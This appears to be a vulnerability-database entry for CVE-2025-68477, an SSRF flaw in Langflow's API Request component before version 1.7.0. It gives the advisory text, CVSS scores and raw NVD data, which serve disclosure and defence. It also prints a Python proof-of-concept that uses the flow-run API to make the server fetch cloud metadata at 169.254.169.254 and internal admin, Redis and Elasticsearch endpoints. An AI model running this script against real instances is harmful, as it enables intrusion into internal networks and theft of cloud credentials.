Security Vulnerability Report
中文
CVE-2025-68477 CVSS 7.7 HIGH

CVE-2025-68477

Published: 2025-12-19 17:15:54
Last Modified: 2026-01-02 16:21:28

Description

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0, Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127[.]0[.]0[.]1, the 10/172/192 ranges) or cloud metadata endpoints (169[.]254[.]169[.]254), and it returns the response body as the result. Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks. Version 1.7.0 contains a patch for this issue.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:* - VULNERABLE
Langflow < 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-68477 PoC - Langflow SSRF via API Request Component # Target: Langflow < 1.7.0 API_KEY = "your_api_key_here" TARGET_URL = "http://target-langflow-instance.com" # Example 1: Access local metadata endpoint def exploit_metadata_ssrf(): """Exploit SSRF to access cloud metadata service""" flow_payload = { "flow_id": "controlled_flow_id", "components": { "api_request": { "url": "http://169.254.169.254/latest/meta-data/", "method": "GET" } } } headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } response = requests.post( f"{TARGET_URL}/api/v1/run/advanced", json=flow_payload, headers=headers ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Example 2: Access internal service def exploit_internal_ssrf(): """Exploit SSRF to access internal services""" internal_targets = [ "http://127.0.0.1:8080/admin", "http://10.0.0.1:6379/", "http://192.168.1.100:9200/_cluster/health" ] for target in internal_targets: flow_payload = { "flow_id": "ssrf_flow", "components": { "api_request": { "url": target, "method": "GET" } } } headers = {"Authorization": f"Bearer {API_KEY}"} response = requests.post( f"{TARGET_URL}/api/v1/run", json=flow_payload, headers=headers ) print(f"Target: {target}") print(f"Response: {response.text[:500]}") if __name__ == "__main__": print("CVE-2025-68477 Langflow SSRF PoC") exploit_metadata_ssrf() exploit_internal_ssrf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68477", "sourceIdentifier": "[email protected]", "published": "2025-12-19T17:15:53.547", "lastModified": "2026-01-02T16:21:28.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0, Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127[.]0[.]0[.]1, the 10/172/192 ranges) or cloud metadata endpoints (169[.]254[.]169[.]254), and it returns the response body as the result. Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks. Version 1.7.0 contains a patch for this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.0", "matchCriteriaId": "9D34B381-00FD-4F7D-8B5F-96C3C152B852"}]}]}], "references": [{"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-5993-7p27-66g5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-5993-7p27-66g5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}